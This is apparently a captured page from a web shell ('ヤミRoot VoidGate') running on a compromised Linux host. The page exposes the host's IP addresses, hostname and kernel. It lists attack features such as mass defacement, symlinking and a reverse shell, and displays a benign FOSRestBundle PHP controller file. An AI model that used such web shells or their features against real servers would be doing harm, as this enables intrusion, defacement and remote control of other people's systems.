ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Controller
/
Viewing: ExceptionController.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Controller; use FOS\RestBundle\Util\ExceptionValueMap; use FOS\RestBundle\View\View; use FOS\RestBundle\View\ViewHandlerInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Debug\Exception\FlattenException; use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface; use Symfony\Component\HttpKernel\Log\DebugLoggerInterface; /** * Custom ExceptionController that uses the view layer and supports HTTP response status code mapping. */ class ExceptionController { /** * @var ViewHandlerInterface */ private $viewHandler; /** * @var ExceptionValueMap */ private $exceptionCodes; /** * @var bool */ private $showException; public function __construct( ViewHandlerInterface $viewHandler, ExceptionValueMap $exceptionCodes, $showException ) { $this->viewHandler = $viewHandler; $this->exceptionCodes = $exceptionCodes; $this->showException = $showException; } /** * Converts an Exception to a Response. * * @param Request $request * @param \Exception|\Throwable $exception * @param DebugLoggerInterface|null $logger * * @throws \InvalidArgumentException * * @return Response */ public function showAction(Request $request, $exception, DebugLoggerInterface $logger = null) { $currentContent = $this->getAndCleanOutputBuffering($request->headers->get('X-Php-Ob-Level', -1)); $code = $this->getStatusCode($exception); $templateData = $this->getTemplateData($currentContent, $code, $exception, $logger); $view = $this->createView($exception, $code, $templateData, $request, $this->showException); $response = $this->viewHandler->handle($view); return $response; } /** * @param \Exception $exception * @param int $code * @param array $templateData * @param Request $request * @param bool $showException * * @return View */ protected function createView(\Exception $exception, $code, array $templateData, Request $request, $showException) { $view = new View($exception, $code, $exception instanceof HttpExceptionInterface ? $exception->getHeaders() : []); $view->setTemplateVar('raw_exception'); $view->setTemplateData($templateData); return $view; } /** * Determines the status code to use for the response. * * @param \Exception $exception * * @return int */ protected function getStatusCode(\Exception $exception) { // If matched if ($statusCode = $this->exceptionCodes->resolveException($exception)) { return $statusCode; } // Otherwise, default if ($exception instanceof HttpExceptionInterface) { return $exception->getStatusCode(); } return 500; } /** * Determines the template parameters to pass to the view layer. * * @param string $currentContent * @param int $code * @param \Exception $exception * @param DebugLoggerInterface $logger * * @return array */ private function getTemplateData($currentContent, $code, \Exception $exception, DebugLoggerInterface $logger = null) { return [ 'exception' => FlattenException::create($exception), 'status' => 'error', 'status_code' => $code, 'status_text' => array_key_exists($code, Response::$statusTexts) ? Response::$statusTexts[$code] : 'error', 'currentContent' => $currentContent, 'logger' => $logger, ]; } /** * Gets and cleans any content that was already outputted. * * This code comes from Symfony and should be synchronized on a regular basis * see src/Symfony/Bundle/TwigBundle/Controller/ExceptionController.php * * @return string */ private function getAndCleanOutputBuffering($startObLevel) { if (ob_get_level() <= $startObLevel) { return ''; } Response::closeOutputBuffers($startObLevel + 1, true); return ob_get_clean(); } }
Coded With 💗 by
0x6ick